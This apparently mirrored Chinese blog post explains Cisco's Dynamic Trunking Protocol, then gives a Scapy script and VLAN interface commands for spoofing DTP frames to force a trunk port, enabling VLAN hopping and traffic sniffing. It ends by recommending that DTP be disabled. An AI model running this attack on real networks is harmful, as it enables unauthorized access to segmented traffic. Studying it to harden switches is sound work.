zoukankan      html  css  js  c++  java
  • DTP协议攻击


    DTP协议

      动态中继协议DTP(Dynamic Trunking Protocol)是一种Cisco私有协议。DTP用于两台交换机的直连二层端口探测对端的配置,自动协商出二层端口的链路类型和以太网封装进而与对端自适应。这样当对端修改时,就不用手工修改本端配置,通过协议自适应更改即可。DTP的重要作用是,在组网不确定的情况下,可以实现即插即用;修改网络拓扑时,也不用手工修改二层端口的配置。

      DTP利用第二层中继帧,在两台交换机的直连端口之间进行通信。DTP报文仅限于两个直连端口之间的通信,维护两个直连端口的链路类型和以太网封装类型。

       如果交换机开启了DTP协议,攻击者假冒交换机向目标交换机发送Dynamic desirable数据包,那么会把目标端口变成Trunking端口,这意味着我们可以通过修改本机配置进入任何一个VLAN,同时可以VLAN跳跃攻击方式,监听所有数据。


    发送Dynamic desirable数据包

      在Scapy.contrib.dtp包中有一个negotiate_trunk方法,原型如下:

      def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):

        print "Trying to negotiate a trunk on interface %s" %iface

        p = Dot3(src=mymac, dst='01:00:0c:cc:cc:cc')/LLC()/SNAP()/

          DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])

          sendp(p)

       该方法第一个参数需要我们传入发送数据包的网卡,第二个是可选参数,可以用来传入要假冒的交换机的MAC地址。

        如果不传入,会随机产生一个。

    #!/usr/bin/python
    import sys
    from scapy.layer2.l2 import Dot3,LLC,SNAP
    from scapy.contrib.dtp import *
    
    if len(sys.argv) < 2:
        print sys.argv[0] + " <dev>"
        sys.exit()
    
    negotiate_trunk(iface=sys.argv[1])
    

      数据包发送之后,会有一些延迟才会生效。(注意)

      如下命令(具体还不确定是干什么呢):--------好像是修改本机配置,进入一个vlan

      vconfig add eth0 <vlan-id>

      ifconfig eth0.<vlan-id> <ip_of_vlan> up

    建议:最好关掉DTP协议。

  • 相关阅读:
    mysql自动备份shell
    程序员,架构师有话对你说
    Chief Technology Officer
    读《对软件开发的一点心得体会》有感
    shell编程值之shell流程控制(7)
    shell编程值之正则表达式与字符截取(6)
    shell编程之环境变量配置文件(4)
    shell编程之运算符(3)
    shell编程之BASH变量(2)
    shell编程之SHELL基础(1)
  • 原文地址:https://www.cnblogs.com/blacksunny/p/7019431.html
Copyright © 2011-2022 走看看